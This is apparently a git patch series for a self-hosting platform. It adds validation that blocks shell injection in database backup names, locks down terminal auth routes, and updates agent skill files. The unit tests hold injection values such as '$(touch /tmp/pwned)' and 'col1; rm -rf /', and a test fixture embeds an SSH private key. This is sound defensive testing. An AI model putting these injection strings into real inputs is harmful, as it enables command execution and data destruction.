+ $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --excludeCollection ".$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location";
}
}
}
diff --git a/app/Livewire/Project/Database/BackupEdit.php b/app/Livewire/Project/Database/BackupEdit.php
index c24e2a3f1..0fff2bd03 100644
--- a/app/Livewire/Project/Database/BackupEdit.php
+++ b/app/Livewire/Project/Database/BackupEdit.php
@@ -105,21 +105,9 @@ public function syncData(bool $toModel = false)
$this->backup->s3_storage_id = $this->s3StorageId;
// Validate databases_to_backup to prevent command injection
+ // Handles all formats including MongoDB's "db:col1,col2|db2:col3"
if (filled($this->databasesToBackup)) {
- $databases = str($this->databasesToBackup)->explode(',');
- foreach ($databases as $index => $db) {
- $dbName = trim($db);
- try {
- validateShellSafePath($dbName, 'database name');
- } catch (\Exception $e) {
- // Provide specific error message indicating which database failed validation
- $position = $index + 1;
- throw new \Exception(
- "Database #{$position} ('{$dbName}') validation failed: ".
- $e->getMessage()
- );
- }
- }
+ validateDatabasesBackupInput($this->databasesToBackup);
}
$this->backup->databases_to_backup = $this->databasesToBackup;
diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php
index a8cffcaff..84472a07e 100644
--- a/bootstrap/helpers/shared.php
+++ b/bootstrap/helpers/shared.php
@@ -148,6 +148,59 @@ function validateShellSafePath(string $input, string $context = 'path'): string
return $input;
}
+/**
+ * Validate that a databases_to_backup input string is safe from command injection.
+ *
+ * Supports all database formats:
+ * - PostgreSQL/MySQL/MariaDB: "db1,db2,db3"
+ * - MongoDB: "db1:col1,col2|db2:col3,col4"
+ *
+ * Validates each database name AND collection name individually against shell metacharacters.
+ *
+ * @param string $input The databases_to_backup string
+ * @return string The validated input
+ *
+ * @throws \Exception If any component contains dangerous characters
+ */
+function validateDatabasesBackupInput(string $input): string
+{
+ // Split by pipe (MongoDB multi-db separator)
+ $databaseEntries = explode('|', $input);
+
+ foreach ($databaseEntries as $entry) {
+ $entry = trim($entry);
+ if ($entry === '' || $entry === 'all' || $entry === '*') {
+ continue;
+ }
+
+ if (str_contains($entry, ':')) {
+ // MongoDB format: dbname:collection1,collection2
+ $databaseName = str($entry)->before(':')->value();
+ $collections = str($entry)->after(':')->explode(',');
+
+ validateShellSafePath($databaseName, 'database name');
+
+ foreach ($collections as $collection) {
+ $collection = trim($collection);
+ if ($collection !== '') {
+ validateShellSafePath($collection, 'collection name');
+ }
+ }
+ } else {
+ // Simple format: just a database name (may contain commas for non-Mongo)
+ $databases = explode(',', $entry);
+ foreach ($databases as $db) {
+ $db = trim($db);
+ if ($db !== '' && $db !== 'all' && $db !== '*') {
+ validateShellSafePath($db, 'database name');
+ }
+ }
+ }
+ }
+
+ return $input;
+}
+
/**
* Validate that a string is a safe git ref (commit SHA, branch name, tag, or HEAD).
*
diff --git a/tests/Unit/DatabaseBackupSecurityTest.php b/tests/Unit/DatabaseBackupSecurityTest.php
index 6fb0bb4b9..90940c174 100644
--- a/tests/Unit/DatabaseBackupSecurityTest.php
+++ b/tests/Unit/DatabaseBackupSecurityTest.php
@@ -81,3 +81,64 @@
expect(fn () => validateShellSafePath('test123', 'database name'))
->not->toThrow(Exception::class);
});
+
+// --- MongoDB collection name validation tests ---
+
+test('mongodb collection name rejects command substitution injection', function () {
+ expect(fn () => validateShellSafePath('$(touch /tmp/pwned)', 'collection name'))
+ ->toThrow(Exception::class);
+});
+
+test('mongodb collection name rejects backtick injection', function () {
+ expect(fn () => validateShellSafePath('`id > /tmp/pwned`', 'collection name'))
+ ->toThrow(Exception::class);
+});
+
+test('mongodb collection name rejects semicolon injection', function () {
+ expect(fn () => validateShellSafePath('col1; rm -rf /', 'collection name'))
+ ->toThrow(Exception::class);
+});
+
+test('mongodb collection name rejects ampersand injection', function () {
+ expect(fn () => validateShellSafePath('col1 & whoami', 'collection name'))
+ ->toThrow(Exception::class);
+});
+
+test('mongodb collection name rejects redirect injection', function () {
+ expect(fn () => validateShellSafePath('col1 > /tmp/pwned', 'collection name'))
+ ->toThrow(Exception::class);
+});
+
+test('validateDatabasesBackupInput validates mongodb format with collection names', function () {
+ // Valid MongoDB formats should pass
+ expect(fn () => validateDatabasesBackupInput('mydb'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateDatabasesBackupInput('mydb:col1,col2'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateDatabasesBackupInput('db1:col1,col2|db2:col3'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateDatabasesBackupInput('all'))
+ ->not->toThrow(Exception::class);
+});
+
+test('validateDatabasesBackupInput rejects injection in collection names', function () {
+ // Command substitution in collection name
+ expect(fn () => validateDatabasesBackupInput('mydb:$(touch /tmp/pwned)'))
+ ->toThrow(Exception::class);
+
+ // Backtick injection in collection name
+ expect(fn () => validateDatabasesBackupInput('mydb:`id`'))
+ ->toThrow(Exception::class);
+
+ // Semicolon in collection name
+ expect(fn () => validateDatabasesBackupInput('mydb:col1;rm -rf /'))
+ ->toThrow(Exception::class);
+});
+
+test('validateDatabasesBackupInput rejects injection in database name within mongo format', function () {
+ expect(fn () => validateDatabasesBackupInput('$(whoami):col1,col2'))
+ ->toThrow(Exception::class);
+});
From 847166a3f89b7c80972fa0d2e5c754976f95b6ad Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 16:56:37 +0100
Subject: [PATCH 065/168] fix(terminal): apply authorization middleware to
terminal bootstrap routes
Apply the existing `can.access.terminal` middleware to `POST /terminal/auth`
and `POST /terminal/auth/ips` routes, consistent with the `GET /terminal` route.
Adds regression tests covering unauthenticated, member, admin, and owner roles.
Co-Authored-By: Claude Opus 4.6
---
routes/web.php | 4 +-
.../TerminalAuthRoutesAuthorizationTest.php | 118 ++++++++++++++++++
2 files changed, 120 insertions(+), 2 deletions(-)
create mode 100644 tests/Feature/TerminalAuthRoutesAuthorizationTest.php
diff --git a/routes/web.php b/routes/web.php
index 27763f121..4154fefab 100644
--- a/routes/web.php
+++ b/routes/web.php
@@ -164,7 +164,7 @@
}
return response()->json(['authenticated' => false], 401);
- })->name('terminal.auth');
+ })->name('terminal.auth')->middleware('can.access.terminal');
Route::post('/terminal/auth/ips', function () {
if (auth()->check()) {
@@ -189,7 +189,7 @@
}
return response()->json(['ipAddresses' => []], 401);
- })->name('terminal.auth.ips');
+ })->name('terminal.auth.ips')->middleware('can.access.terminal');
Route::prefix('invitations')->group(function () {
Route::get('/{uuid}', [Controller::class, 'acceptInvitation'])->name('team.invitation.accept');
diff --git a/tests/Feature/TerminalAuthRoutesAuthorizationTest.php b/tests/Feature/TerminalAuthRoutesAuthorizationTest.php
new file mode 100644
index 000000000..858cc7101
--- /dev/null
+++ b/tests/Feature/TerminalAuthRoutesAuthorizationTest.php
@@ -0,0 +1,118 @@
+set('app.env', 'local');
+
+ $this->team = Team::factory()->create();
+
+ $this->privateKey = PrivateKey::create([
+ 'name' => 'Test Key',
+ 'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
+QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
+hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
+AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
+uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
+-----END OPENSSH PRIVATE KEY-----',
+ 'team_id' => $this->team->id,
+ ]);
+
+ Server::factory()->create([
+ 'name' => 'Test Server',
+ 'ip' => 'coolify-testing-host',
+ 'team_id' => $this->team->id,
+ 'private_key_id' => $this->privateKey->id,
+ ]);
+});
+
+// --- POST /terminal/auth ---
+
+it('denies unauthenticated users on POST /terminal/auth', function () {
+ $this->postJson('/terminal/auth')
+ ->assertStatus(401);
+});
+
+it('denies non-admin team members on POST /terminal/auth', function () {
+ $member = User::factory()->create();
+ $member->teams()->attach($this->team, ['role' => 'member']);
+
+ $this->actingAs($member);
+ session(['currentTeam' => $this->team]);
+
+ $this->postJson('/terminal/auth')
+ ->assertStatus(403);
+});
+
+it('allows team owners on POST /terminal/auth', function () {
+ $owner = User::factory()->create();
+ $owner->teams()->attach($this->team, ['role' => 'owner']);
+
+ $this->actingAs($owner);
+ session(['currentTeam' => $this->team]);
+
+ $this->postJson('/terminal/auth')
+ ->assertStatus(200)
+ ->assertJson(['authenticated' => true]);
+});
+
+it('allows team admins on POST /terminal/auth', function () {
+ $admin = User::factory()->create();
+ $admin->teams()->attach($this->team, ['role' => 'admin']);
+
+ $this->actingAs($admin);
+ session(['currentTeam' => $this->team]);
+
+ $this->postJson('/terminal/auth')
+ ->assertStatus(200)
+ ->assertJson(['authenticated' => true]);
+});
+
+// --- POST /terminal/auth/ips ---
+
+it('denies unauthenticated users on POST /terminal/auth/ips', function () {
+ $this->postJson('/terminal/auth/ips')
+ ->assertStatus(401);
+});
+
+it('denies non-admin team members on POST /terminal/auth/ips', function () {
+ $member = User::factory()->create();
+ $member->teams()->attach($this->team, ['role' => 'member']);
+
+ $this->actingAs($member);
+ session(['currentTeam' => $this->team]);
+
+ $this->postJson('/terminal/auth/ips')
+ ->assertStatus(403);
+});
+
+it('allows team owners on POST /terminal/auth/ips', function () {
+ $owner = User::factory()->create();
+ $owner->teams()->attach($this->team, ['role' => 'owner']);
+
+ $this->actingAs($owner);
+ session(['currentTeam' => $this->team]);
+
+ $this->postJson('/terminal/auth/ips')
+ ->assertStatus(200)
+ ->assertJsonStructure(['ipAddresses']);
+});
+
+it('allows team admins on POST /terminal/auth/ips', function () {
+ $admin = User::factory()->create();
+ $admin->teams()->attach($this->team, ['role' => 'admin']);
+
+ $this->actingAs($admin);
+ session(['currentTeam' => $this->team]);
+
+ $this->postJson('/terminal/auth/ips')
+ ->assertStatus(200)
+ ->assertJsonStructure(['ipAddresses']);
+});
From 0a621bb90ed67420aa407e0b0b01110c73b97a9e Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 19:21:53 +0100
Subject: [PATCH 066/168] update laravel boost
---
.../skills/developing-with-fortify/SKILL.md | 116 ---
.agents/skills/livewire-development/SKILL.md | 54 +-
.agents/skills/pest-testing/SKILL.md | 61 +-
.../skills/tailwindcss-development/SKILL.md | 49 +-
.../skills/developing-with-fortify/SKILL.md | 116 ---
.claude/skills/livewire-development/SKILL.md | 54 +-
.claude/skills/pest-testing/SKILL.md | 232 ++---
.../skills/tailwindcss-development/SKILL.md | 49 +-
.../skills/developing-with-fortify/SKILL.md | 116 ---
.cursor/skills/livewire-development/SKILL.md | 54 +-
.cursor/skills/pest-testing/SKILL.md | 61 +-
.../skills/tailwindcss-development/SKILL.md | 49 +-
AGENTS.md | 169 ++--
CLAUDE.md | 218 ++---
boost.json | 11 +-
composer.lock | 836 +++++++++---------
16 files changed, 832 insertions(+), 1413 deletions(-)
delete mode 100644 .agents/skills/developing-with-fortify/SKILL.md
delete mode 100644 .claude/skills/developing-with-fortify/SKILL.md
delete mode 100644 .cursor/skills/developing-with-fortify/SKILL.md
diff --git a/.agents/skills/developing-with-fortify/SKILL.md b/.agents/skills/developing-with-fortify/SKILL.md
deleted file mode 100644
index 2ff71a4b4..000000000
--- a/.agents/skills/developing-with-fortify/SKILL.md
+++ /dev/null
@@ -1,116 +0,0 @@
----
-name: developing-with-fortify
-description: Laravel Fortify headless authentication backend development. Activate when implementing authentication features including login, registration, password reset, email verification, two-factor authentication (2FA/TOTP), profile updates, headless auth, authentication scaffolding, or auth guards in Laravel applications.
----
-
-# Laravel Fortify Development
-
-Fortify is a headless authentication backend that provides authentication routes and controllers for Laravel applications.
-
-## Documentation
-
-Use `search-docs` for detailed Laravel Fortify patterns and documentation.
-
-## Usage
-
-- **Routes**: Use `list-routes` with `only_vendor: true` and `action: "Fortify"` to see all registered endpoints
-- **Actions**: Check `app/Actions/Fortify/` for customizable business logic (user creation, password validation, etc.)
-- **Config**: See `config/fortify.php` for all options including features, guards, rate limiters, and username field
-- **Contracts**: Look in `Laravel\Fortify\Contracts\` for overridable response classes (`LoginResponse`, `LogoutResponse`, etc.)
-- **Views**: All view callbacks are set in `FortifyServiceProvider::boot()` using `Fortify::loginView()`, `Fortify::registerView()`, etc.
-
-## Available Features
-
-Enable in `config/fortify.php` features array:
-
-- `Features::registration()` - User registration
-- `Features::resetPasswords()` - Password reset via email
-- `Features::emailVerification()` - Requires User to implement `MustVerifyEmail`
-- `Features::updateProfileInformation()` - Profile updates
-- `Features::updatePasswords()` - Password changes
-- `Features::twoFactorAuthentication()` - 2FA with QR codes and recovery codes
-
-> Use `search-docs` for feature configuration options and customization patterns.
-
-## Setup Workflows
-
-### Two-Factor Authentication Setup
-
-```
-- [ ] Add TwoFactorAuthenticatable trait to User model
-- [ ] Enable feature in config/fortify.php
-- [ ] Run migrations for 2FA columns
-- [ ] Set up view callbacks in FortifyServiceProvider
-- [ ] Create 2FA management UI
-- [ ] Test QR code and recovery codes
-```
-
-> Use `search-docs` for TOTP implementation and recovery code handling patterns.
-
-### Email Verification Setup
-
-```
-- [ ] Enable emailVerification feature in config
-- [ ] Implement MustVerifyEmail interface on User model
-- [ ] Set up verifyEmailView callback
-- [ ] Add verified middleware to protected routes
-- [ ] Test verification email flow
-```
-
-> Use `search-docs` for MustVerifyEmail implementation patterns.
-
-### Password Reset Setup
-
-```
-- [ ] Enable resetPasswords feature in config
-- [ ] Set up requestPasswordResetLinkView callback
-- [ ] Set up resetPasswordView callback
-- [ ] Define password.reset named route (if views disabled)
-- [ ] Test reset email and link flow
-```
-
-> Use `search-docs` for custom password reset flow patterns.
-
-### SPA Authentication Setup
-
-```
-- [ ] Set 'views' => false in config/fortify.php
-- [ ] Install and configure Laravel Sanctum
-- [ ] Use 'web' guard in fortify config
-- [ ] Set up CSRF token handling
-- [ ] Test XHR authentication flows
-```
-
-> Use `search-docs` for integration and SPA authentication patterns.
-
-## Best Practices
-
-### Custom Authentication Logic
-
-Override authentication behavior using `Fortify::authenticateUsing()` for custom user retrieval or `Fortify::authenticateThrough()` to customize the authentication pipeline. Override response contracts in `AppServiceProvider` for custom redirects.
-
-### Registration Customization
-
-Modify `app/Actions/Fortify/CreateNewUser.php` to customize user creation logic, validation rules, and additional fields.
-
-### Rate Limiting
-
-Configure via `fortify.limiters.login` in config. Default configuration throttles by username + IP combination.
-
-## Key Endpoints
-
-| Feature | Method | Endpoint |
-|------------------------|----------|---------------------------------------------|
-| Login | POST | `/login` |
-| Logout | POST | `/logout` |
-| Register | POST | `/register` |
-| Password Reset Request | POST | `/forgot-password` |
-| Password Reset | POST | `/reset-password` |
-| Email Verify Notice | GET | `/email/verify` |
-| Resend Verification | POST | `/email/verification-notification` |
-| Password Confirm | POST | `/user/confirm-password` |
-| Enable 2FA | POST | `/user/two-factor-authentication` |
-| Confirm 2FA | POST | `/user/confirmed-two-factor-authentication` |
-| 2FA Challenge | POST | `/two-factor-challenge` |
-| Get QR Code | GET | `/user/two-factor-qr-code` |
-| Recovery Codes | GET/POST | `/user/two-factor-recovery-codes` |
\ No newline at end of file
diff --git a/.agents/skills/livewire-development/SKILL.md b/.agents/skills/livewire-development/SKILL.md
index 755d20713..70ecd57d4 100644
--- a/.agents/skills/livewire-development/SKILL.md
+++ b/.agents/skills/livewire-development/SKILL.md
@@ -1,24 +1,13 @@
---
name: livewire-development
-description: >-
- Develops reactive Livewire 3 components. Activates when creating, updating, or modifying
- Livewire components; working with wire:model, wire:click, wire:loading, or any wire: directives;
- adding real-time updates, loading states, or reactivity; debugging component behavior;
- writing Livewire tests; or when the user mentions Livewire, component, counter, or reactive UI.
+description: "Use for any task or question involving Livewire. Activate if user mentions Livewire, wire: directives, or Livewire-specific concepts like wire:model, wire:click, invoke this skill. Covers building new components, debugging reactivity issues, real-time form validation, loading states, migrating from Livewire 2 to 3, converting component formats (SFC/MFC/class-based), and performance optimization. Do not use for non-Livewire reactive UI (React, Vue, Alpine-only, Inertia.js) or standard Laravel forms without Livewire."
+license: MIT
+metadata:
+ author: laravel
---
# Livewire Development
-## When to Apply
-
-Activate this skill when:
-- Creating new Livewire components
-- Modifying existing component state or behavior
-- Debugging reactivity or lifecycle issues
-- Writing Livewire component tests
-- Adding Alpine.js interactivity to components
-- Working with wire: directives
-
## Documentation
Use `search-docs` for detailed Livewire 3 patterns and documentation.
@@ -62,33 +51,31 @@ ### Component Structure
### Using Keys in Loops
-
-
+
+```blade
@foreach ($items as $item)
{{ $item->name }}
@endforeach
-
-
+```
### Lifecycle Hooks
Prefer lifecycle hooks like `mount()`, `updatedFoo()` for initialization and reactive side effects:
-
-
+
+```php
public function mount(User $user) { $this->user = $user; }
public function updatedSearch() { $this->resetPage(); }
-
-
+```
## JavaScript Hooks
You can listen for `livewire:init` to hook into Livewire initialization:
-
-
+
+```js
document.addEventListener('livewire:init', function () {
Livewire.hook('request', ({ fail }) => {
if (fail && fail.status === 419) {
@@ -100,28 +87,25 @@ ## JavaScript Hooks
console.error(message);
});
});
-
-
+```
## Testing
-
-
+
+```php
Livewire::test(Counter::class)
->assertSet('count', 0)
->call('increment')
->assertSet('count', 1)
->assertSee(1)
->assertStatus(200);
+```
-
-
-
-
+
+```php
$this->get('/posts/create')
->assertSeeLivewire(CreatePost::class);
-
-
+```
## Common Pitfalls
diff --git a/.agents/skills/pest-testing/SKILL.md b/.agents/skills/pest-testing/SKILL.md
index 67455e7e6..ba774e71b 100644
--- a/.agents/skills/pest-testing/SKILL.md
+++ b/.agents/skills/pest-testing/SKILL.md
@@ -1,24 +1,13 @@
---
name: pest-testing
-description: >-
- Tests applications using the Pest 4 PHP framework. Activates when writing tests, creating unit or feature
- tests, adding assertions, testing Livewire components, browser testing, debugging test failures,
- working with datasets or mocking; or when the user mentions test, spec, TDD, expects, assertion,
- coverage, or needs to verify functionality works.
+description: "Use this skill for Pest PHP testing in Laravel projects only. Trigger whenever any test is being written, edited, fixed, or refactored — including fixing tests that broke after a code change, adding assertions, converting PHPUnit to Pest, adding datasets, and TDD workflows. Always activate when the user asks how to write something in Pest, mentions test files or directories (tests/Feature, tests/Unit, tests/Browser), or needs browser testing, smoke testing multiple pages for JS errors, or architecture tests. Covers: it()/expect() syntax, datasets, mocking, browser testing (visit/click/fill), smoke testing, arch(), Livewire component tests, RefreshDatabase, and all Pest 4 features. Do not use for factories, seeders, migrations, controllers, models, or non-test PHP code."
+license: MIT
+metadata:
+ author: laravel
---
# Pest Testing 4
-## When to Apply
-
-Activate this skill when:
-
-- Creating new tests (unit, feature, or browser)
-- Modifying existing tests
-- Debugging test failures
-- Working with browser testing or smoke testing
-- Writing architecture tests or visual regression tests
-
## Documentation
Use `search-docs` for detailed Pest 4 patterns and documentation.
@@ -37,13 +26,12 @@ ### Test Organization
### Basic Test Structure
-
-
+
+```php
it('is true', function () {
expect(true)->toBeTrue();
});
-
-
+```
### Running Tests
@@ -55,13 +43,12 @@ ## Assertions
Use specific assertions (`assertSuccessful()`, `assertNotFound()`) instead of `assertStatus()`:
-
-
+
+```php
it('returns all', function () {
$this->postJson('/api/docs', [])->assertSuccessful();
});
-
-
+```
| Use | Instead of |
|-----|------------|
@@ -77,16 +64,15 @@ ## Datasets
Use datasets for repetitive tests (validation rules, etc.):
-
-
+
+```php
it('has emails', function (string $email) {
expect($email)->not->toBeEmpty();
})->with([
'james' => 'james@laravel.com',
'taylor' => 'taylor@laravel.com',
]);
-
-
+```
## Pest 4 Features
@@ -111,8 +97,8 @@ ### Browser Test Example
- Switch color schemes (light/dark mode) when appropriate.
- Take screenshots or pause tests for debugging.
-
-
+
+```php
it('may reset the password', function () {
Notification::fake();
@@ -129,20 +115,18 @@ ### Browser Test Example
Notification::assertSent(ResetPassword::class);
});
-
-
+```
### Smoke Testing
Quickly validate multiple pages have no JavaScript errors:
-
-
+
+```php
$pages = visit(['/', '/about', '/contact']);
$pages->assertNoJavaScriptErrors()->assertNoConsoleLogs();
-
-
+```
### Visual Regression Testing
@@ -156,14 +140,13 @@ ### Architecture Testing
Pest 4 includes architecture testing (from Pest 3):
-
-
+
+```php
arch('controllers')
->expect('App\Http\Controllers')
->toExtendNothing()
->toHaveSuffix('Controller');
-
-
+```
## Common Pitfalls
diff --git a/.agents/skills/tailwindcss-development/SKILL.md b/.agents/skills/tailwindcss-development/SKILL.md
index 12bd896bb..7c8e295e8 100644
--- a/.agents/skills/tailwindcss-development/SKILL.md
+++ b/.agents/skills/tailwindcss-development/SKILL.md
@@ -1,24 +1,13 @@
---
name: tailwindcss-development
-description: >-
- Styles applications using Tailwind CSS v4 utilities. Activates when adding styles, restyling components,
- working with gradients, spacing, layout, flex, grid, responsive design, dark mode, colors,
- typography, or borders; or when the user mentions CSS, styling, classes, Tailwind, restyle,
- hero section, cards, buttons, or any visual/UI changes.
+description: "Always invoke when the user's message includes 'tailwind' in any form. Also invoke for: building responsive grid layouts (multi-column card grids, product grids), flex/grid page structures (dashboards with sidebars, fixed topbars, mobile-toggle navs), styling UI components (cards, tables, navbars, pricing sections, forms, inputs, badges), adding dark mode variants, fixing spacing or typography, and Tailwind v3/v4 work. The core use case: writing or fixing Tailwind utility classes in HTML templates (Blade, JSX, Vue). Skip for backend PHP logic, database queries, API routes, JavaScript with no HTML/CSS component, CSS file audits, build tool configuration, and vanilla CSS."
+license: MIT
+metadata:
+ author: laravel
---
# Tailwind CSS Development
-## When to Apply
-
-Activate this skill when:
-
-- Adding styles to components or pages
-- Working with responsive design
-- Implementing dark mode
-- Extracting repeated patterns into components
-- Debugging spacing or layout issues
-
## Documentation
Use `search-docs` for detailed Tailwind CSS v4 patterns and documentation.
@@ -38,22 +27,24 @@ ### CSS-First Configuration
In Tailwind v4, configuration is CSS-first using the `@theme` directive — no separate `tailwind.config.js` file is needed:
-
+
+```css
@theme {
--color-brand: oklch(0.72 0.11 178);
}
-
+```
### Import Syntax
In Tailwind v4, import Tailwind with a regular CSS `@import` statement instead of the `@tailwind` directives used in v3:
-
+
+```diff
- @tailwind base;
- @tailwind components;
- @tailwind utilities;
+ @import "tailwindcss";
-
+```
### Replaced Utilities
@@ -77,43 +68,47 @@ ## Spacing
Use `gap` utilities instead of margins for spacing between siblings:
-
+
+```html
-
+```
## Dark Mode
If existing pages and components support dark mode, new pages and components must support it the same way, typically using the `dark:` variant:
-
+
+```html
Content adapts to color scheme
-
+```
## Common Patterns
### Flexbox Layout
-
+
+```html
Left content
Right content
-
+```
### Grid Layout
-
+
+```html
-
+```
## Common Pitfalls
diff --git a/.claude/skills/developing-with-fortify/SKILL.md b/.claude/skills/developing-with-fortify/SKILL.md
deleted file mode 100644
index 2ff71a4b4..000000000
--- a/.claude/skills/developing-with-fortify/SKILL.md
+++ /dev/null
@@ -1,116 +0,0 @@
----
-name: developing-with-fortify
-description: Laravel Fortify headless authentication backend development. Activate when implementing authentication features including login, registration, password reset, email verification, two-factor authentication (2FA/TOTP), profile updates, headless auth, authentication scaffolding, or auth guards in Laravel applications.
----
-
-# Laravel Fortify Development
-
-Fortify is a headless authentication backend that provides authentication routes and controllers for Laravel applications.
-
-## Documentation
-
-Use `search-docs` for detailed Laravel Fortify patterns and documentation.
-
-## Usage
-
-- **Routes**: Use `list-routes` with `only_vendor: true` and `action: "Fortify"` to see all registered endpoints
-- **Actions**: Check `app/Actions/Fortify/` for customizable business logic (user creation, password validation, etc.)
-- **Config**: See `config/fortify.php` for all options including features, guards, rate limiters, and username field
-- **Contracts**: Look in `Laravel\Fortify\Contracts\` for overridable response classes (`LoginResponse`, `LogoutResponse`, etc.)
-- **Views**: All view callbacks are set in `FortifyServiceProvider::boot()` using `Fortify::loginView()`, `Fortify::registerView()`, etc.
-
-## Available Features
-
-Enable in `config/fortify.php` features array:
-
-- `Features::registration()` - User registration
-- `Features::resetPasswords()` - Password reset via email
-- `Features::emailVerification()` - Requires User to implement `MustVerifyEmail`
-- `Features::updateProfileInformation()` - Profile updates
-- `Features::updatePasswords()` - Password changes
-- `Features::twoFactorAuthentication()` - 2FA with QR codes and recovery codes
-
-> Use `search-docs` for feature configuration options and customization patterns.
-
-## Setup Workflows
-
-### Two-Factor Authentication Setup
-
-```
-- [ ] Add TwoFactorAuthenticatable trait to User model
-- [ ] Enable feature in config/fortify.php
-- [ ] Run migrations for 2FA columns
-- [ ] Set up view callbacks in FortifyServiceProvider
-- [ ] Create 2FA management UI
-- [ ] Test QR code and recovery codes
-```
-
-> Use `search-docs` for TOTP implementation and recovery code handling patterns.
-
-### Email Verification Setup
-
-```
-- [ ] Enable emailVerification feature in config
-- [ ] Implement MustVerifyEmail interface on User model
-- [ ] Set up verifyEmailView callback
-- [ ] Add verified middleware to protected routes
-- [ ] Test verification email flow
-```
-
-> Use `search-docs` for MustVerifyEmail implementation patterns.
-
-### Password Reset Setup
-
-```
-- [ ] Enable resetPasswords feature in config
-- [ ] Set up requestPasswordResetLinkView callback
-- [ ] Set up resetPasswordView callback
-- [ ] Define password.reset named route (if views disabled)
-- [ ] Test reset email and link flow
-```
-
-> Use `search-docs` for custom password reset flow patterns.
-
-### SPA Authentication Setup
-
-```
-- [ ] Set 'views' => false in config/fortify.php
-- [ ] Install and configure Laravel Sanctum
-- [ ] Use 'web' guard in fortify config
-- [ ] Set up CSRF token handling
-- [ ] Test XHR authentication flows
-```
-
-> Use `search-docs` for integration and SPA authentication patterns.
-
-## Best Practices
-
-### Custom Authentication Logic
-
-Override authentication behavior using `Fortify::authenticateUsing()` for custom user retrieval or `Fortify::authenticateThrough()` to customize the authentication pipeline. Override response contracts in `AppServiceProvider` for custom redirects.
-
-### Registration Customization
-
-Modify `app/Actions/Fortify/CreateNewUser.php` to customize user creation logic, validation rules, and additional fields.
-
-### Rate Limiting
-
-Configure via `fortify.limiters.login` in config. Default configuration throttles by username + IP combination.
-
-## Key Endpoints
-
-| Feature | Method | Endpoint |
-|------------------------|----------|---------------------------------------------|
-| Login | POST | `/login` |
-| Logout | POST | `/logout` |
-| Register | POST | `/register` |
-| Password Reset Request | POST | `/forgot-password` |
-| Password Reset | POST | `/reset-password` |
-| Email Verify Notice | GET | `/email/verify` |
-| Resend Verification | POST | `/email/verification-notification` |
-| Password Confirm | POST | `/user/confirm-password` |
-| Enable 2FA | POST | `/user/two-factor-authentication` |
-| Confirm 2FA | POST | `/user/confirmed-two-factor-authentication` |
-| 2FA Challenge | POST | `/two-factor-challenge` |
-| Get QR Code | GET | `/user/two-factor-qr-code` |
-| Recovery Codes | GET/POST | `/user/two-factor-recovery-codes` |
\ No newline at end of file
diff --git a/.claude/skills/livewire-development/SKILL.md b/.claude/skills/livewire-development/SKILL.md
index 755d20713..70ecd57d4 100644
--- a/.claude/skills/livewire-development/SKILL.md
+++ b/.claude/skills/livewire-development/SKILL.md
@@ -1,24 +1,13 @@
---
name: livewire-development
-description: >-
- Develops reactive Livewire 3 components. Activates when creating, updating, or modifying
- Livewire components; working with wire:model, wire:click, wire:loading, or any wire: directives;
- adding real-time updates, loading states, or reactivity; debugging component behavior;
- writing Livewire tests; or when the user mentions Livewire, component, counter, or reactive UI.
+description: "Use for any task or question involving Livewire. Activate if user mentions Livewire, wire: directives, or Livewire-specific concepts like wire:model, wire:click, invoke this skill. Covers building new components, debugging reactivity issues, real-time form validation, loading states, migrating from Livewire 2 to 3, converting component formats (SFC/MFC/class-based), and performance optimization. Do not use for non-Livewire reactive UI (React, Vue, Alpine-only, Inertia.js) or standard Laravel forms without Livewire."
+license: MIT
+metadata:
+ author: laravel
---
# Livewire Development
-## When to Apply
-
-Activate this skill when:
-- Creating new Livewire components
-- Modifying existing component state or behavior
-- Debugging reactivity or lifecycle issues
-- Writing Livewire component tests
-- Adding Alpine.js interactivity to components
-- Working with wire: directives
-
## Documentation
Use `search-docs` for detailed Livewire 3 patterns and documentation.
@@ -62,33 +51,31 @@ ### Component Structure
### Using Keys in Loops
-
-
+
+```blade
@foreach ($items as $item)
{{ $item->name }}
@endforeach
-
-
+```
### Lifecycle Hooks
Prefer lifecycle hooks like `mount()`, `updatedFoo()` for initialization and reactive side effects:
-
-
+
+```php
public function mount(User $user) { $this->user = $user; }
public function updatedSearch() { $this->resetPage(); }
-
-
+```
## JavaScript Hooks
You can listen for `livewire:init` to hook into Livewire initialization:
-
-
+
+```js
document.addEventListener('livewire:init', function () {
Livewire.hook('request', ({ fail }) => {
if (fail && fail.status === 419) {
@@ -100,28 +87,25 @@ ## JavaScript Hooks
console.error(message);
});
});
-
-
+```
## Testing
-
-
+
+```php
Livewire::test(Counter::class)
->assertSet('count', 0)
->call('increment')
->assertSet('count', 1)
->assertSee(1)
->assertStatus(200);
+```
-
-
-
-
+
+```php
$this->get('/posts/create')
->assertSeeLivewire(CreatePost::class);
-
-
+```
## Common Pitfalls
diff --git a/.claude/skills/pest-testing/SKILL.md b/.claude/skills/pest-testing/SKILL.md
index 9ca79830a..ba774e71b 100644
--- a/.claude/skills/pest-testing/SKILL.md
+++ b/.claude/skills/pest-testing/SKILL.md
@@ -1,63 +1,55 @@
---
name: pest-testing
-description: >-
- Tests applications using the Pest 4 PHP framework. Activates when writing tests, creating unit or feature
- tests, adding assertions, testing Livewire components, browser testing, debugging test failures,
- working with datasets or mocking; or when the user mentions test, spec, TDD, expects, assertion,
- coverage, or needs to verify functionality works.
